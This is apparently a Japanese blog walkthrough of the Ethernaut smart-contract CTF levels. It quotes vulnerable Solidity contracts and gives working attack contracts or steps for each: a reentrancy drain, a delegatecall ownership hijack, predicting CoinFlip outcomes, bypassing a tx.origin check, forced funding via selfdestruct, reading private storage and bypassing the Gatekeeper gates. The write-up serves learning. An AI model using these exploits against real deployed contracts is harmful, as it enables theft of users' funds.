正規にブロックチェーンを始めるために、まずこのプレイグラウンドをやってみましょう。
フォールバック#
この問題には 2 つの要件があります。
- このコントラクトの所有権を取得すること
- その残高を 0 にすること
コントラクトの内容を見てみましょう。
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
これらの 2 つの関数は owner の帰属を制御できます。まず contribute トランザクションにいくつかの ether を送信して contribution を 0 より大きくし、その後 receive トランザクションを呼び出すことで owner を取得できます。
receive 関数は solidity のフォールバック関数で、外部から存在しないメソッドが呼び出されたときにトリガーされます。
したがって、remix で送信する wei の量を設定し、下の low level interaction で空のトランザクションを送信すれば大丈夫です。
これで成功裏に owner を自分に変更しました。
次に withdraw 関数を呼び出してすべての残高を引き出すことで要件を満たします。
フォールアウト#
要求は依然として getowner です。
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
この関数は直接 owner を変更する方法を提供します。呼び出すだけです。
コインフリップ#
これはコインを投げるゲームで、結果を連続して当てる必要があります。このレベルをクリアするには、あなたの超能力を使って 10 回連続で当てる必要があります。
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
revert 関数があることに注意してください。これはトランザクションをキャンセルしますが、ここではまだ必要ありません。
ここで表裏を判断する方法は blockValue / FACTOR == 1 ? true : false です。したがって、この計算を事前に行い、結果を代入できます。
CoinFlip public coinFlipContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipContract) public{
coinFlipContract = CoinFlip(_coinFlipContract);
}
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/FACTOR;
bool guess = coinFlip == 1 ? true : false;
coinFlipContract.flip(guess);
}
}
これで 100% 当てることができ、10 回呼び出せば大丈夫です。
テレフォン#
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
要求は tx.origin != msg.sender を回避することです。
tx.origin はリクエストを発行したアドレスで、msg.sender はコントラクトを呼び出したアドレスです。
したがって、第三者コントラクトを作成し、そのコントラクトを介してターゲットコントラクトを呼び出すことで制限を回避し、owner を取得できます。
例えば、
contract attacker {
Telephone telephone;
constructor(address _contractaddr){
telephone = Telephone(_contractaddr);
}
function attack(address _owner) public{
telephone.changeOwner(_owner);
}
}
これで制御権を取得しました。
トークン#
このコントラクトは基本的に取引可能なトークンを実装しています。
その中の transfer は safemath を使用していないため、計算のオーバーフローが発生する可能性があります。
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
例えば、私が現在 20 トークンを持っていて、ランダムなアドレスに 22 トークンを送信すると、私のトークンの数はオーバーフローして非常に大きくなります。
このように。
委任#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
問題は実際には delegation コントラクトを暴露しており、delegate の関数のリクエストを delegatecall を通じて転送します。
ターゲットアドレスのコードは呼び出しコントラクトのコンテキスト内で実行され、msg.senderとmsg.valueの値は変更されません。これは、コントラクトが実行中に動的に異なるアドレスからコードをロードできることを意味します。ストレージ、現在のアドレス、および残高は呼び出しコントラクトを指し、コードは呼び出されたアドレスから取得されます。
したがって、最初に pwn 関数のデータをエンコードし、そのデータを送金時に直接渡すことで、fallback を介して pwn にアクセスして owner を変更できます。
強制#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
?
このレベルの目標は、コントラクトの残高を 0 より大きくすることです。
このコントラクトは payable 関数を実装しておらず、receive または fallback もないため、直接送金することはできません。
コントラクトに対して送金を実現する方法はいくつかあります。
- コントラクトが少なくとも 1 つの payable 関数を実装し、関数を呼び出すときに eth を持っていること。
- コントラクトが receive 関数を実装していること。
- コントラクトが fallback 関数を実装していること。
- selfdestruct () を通じて。
- マイナーの報酬を通じて eth を獲得すること。
selfdestruct 関数はコントラクトを自壊させ、コントラクトアドレス内の残高を強制的にターゲットアドレスに転送します。
明らかに、ここでは selfdestruct 関数を使用して強制送金を実現する必要がありますので、攻撃コントラクトを作成します。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract attacker{
function attack(address payable _addr) public payable {
selfdestruct(_addr);
}
}
このように、攻撃時に送金を追加すれば大丈夫です。
ボールト#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
ここでは password の値を推測する必要があります。これは re と非常に似ていると思います。直接逆コンパイルできます。
逆コンパイルを通じて、password がこのコントラクトの slot1 に格納されていることがわかります。web3.eth.getStorageAt ("0xc0d3b189eDa39e0825D61413bDE0B34db919d580",1) を通じて直接パスワードにアクセスできます。これを unlock に入力すれば大丈夫です。
キング#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
prize を uint の最大値に設定し、msg の value が prize より大きくなるのを防ぐ必要があるようです。
しかし、uint の最大値は 2^256-1 で、これはどれくらいの eth か分かりません。とりあえず 1 つ送ってみました。
うん、1ether を食べられ、成功しませんでした。
問題解決を見て、トランザクションの後に revert する必要があることがわかりました。
contract BadKing {
King public king = King(YOUR_LEVEL_ADDR_HERE);
// Create a malicious contract and seed it with some Ethers
function BadKing() public payable {
}
// This should trigger King fallback(), making this contract the king
function becomeKing() public {
address(king).call.value(1000000000000000000).gas(4000000)();
}
// This function fails "king.transfer" trx from Ethernaut
function() external payable {
revert("haha you fail");
}
}
もうお金がないので、また後でやります。
再入場#
問題は古典的な再入場攻撃です。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
(bool result,) = msg.sender.call {value:_amount}(""); この行はすでに送金操作を実行していますが、balances [msg.sender] -= _amount; は記録を実行する前です。
したがって、このような attack コントラクトを作成します。
contract attacker{
Reentrance cont;
uint public targetBalance;
constructor(address payable addr){
cont = Reentrance(addr);
targetBalance = address(cont).balance;
}
function attack() public payable{
cont.donate{value:targetBalance}(address(this));
withdraw();
}
fallback() external payable{
withdraw();
}
function withdraw() public{
cont.withdraw(targetBalance);
}
}
これにより、循環的に引き出し、すべてを引き出すことができます。
エレベーター#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
top を true にする必要があります。最初の呼び出しで false、2 回目で true にするだけのようです。
対応する攻撃コントラクトは以下の通りです。
contract Building{
uint public isused;
constructor(){
isused = 0;
}
function isLastFloor(uint floor) external returns (bool){
if(isused == 0){
isused++;
return false;
} else{
return true;
}
}
function useElevator(address addr) public{
Elevator elev = Elevator(addr);
elev.goTo(1);
}
}
プライバシー#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
ストレージから data を見つけて読み取る必要があります。上の vault と同様に、まず逆コンパイルして bydmumbai ネットワークで逆コンパイルしてみましたが、jeb で逆コンパイルして data が storage5 に存在することがわかりました。
web3.eth.getStorageAt (contract.address,5) でデータを確認し、キーを取得して data の前半部分 bytes16 を取得します。
ゲートキーパー 1#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
目標は 3 つのゲートを通過して参加者を取得することです。
まず第一のゲートを見てみましょう。コントラクトを呼び出すことで回避できます。
第二のゲートは gasleft の特別な値を要求します。
典型的な ctf 思考👍👍👍
爆発しました!
第三のゲートは型変換を要求します。
簡単に言えば、自分のアドレスのマスクを構築し、対応するビットが一致する必要があります。
最後に適切なコンパイラーバージョンでコンパイルして打ち込むだけです。
ゲートキーパー 2#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
第一のゲート:古典的なmsg.sender != tx.origin
です。
第二のゲートは extcodesize (caller ())=0 を要求します。ドキュメントによると、
アイデアは簡単です:アドレスにコードが含まれている場合、それは EOA ではなくコントラクトアカウントです。しかし、コントラクトは構築中にソースコードを利用できません。これは、コンストラクタが実行中に他のコントラクトを呼び出すことができるが、そのアドレスの extcodesize はゼロを返すことを意味します。
つまり、コンストラクタ内で他のコントラクトを呼び出すことでこの要件を満たすことができます。
第三のゲートは攻撃コントラクトのアドレスと gatekey が xor された後、uint64 の最大値に等しいことを要求します。
uint64 の最大値は全て 1 の値です。したがって、uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
と全て 1 の 0xFFFFFFFFFFFFFFFF を xor することでこの key を得ることができます。
最終的な攻撃コントラクトは以下の通りです。
contract gate2 {
constructor(address _gatekeeper){
GatekeeperTwo gate = GatekeeperTwo(_gatekeeper);
bytes8 gatekey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
gate.enter(gatekey);
}
}
ナウトコイン#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
ERC20 トークンを構築し、transfer 関数をオーバーライドして時間ロックを追加しました。
したがって、transferFrom 関数を使用してプレイヤーアカウントのトークンを移動させる必要があります。
contract.approve
を使用して transferFrom を承認します。
ここで approve のパラメータは自分のウォレットである必要があります。
その後、await contract.transferFrom
を使用してすべてのトークンを移動させることができます。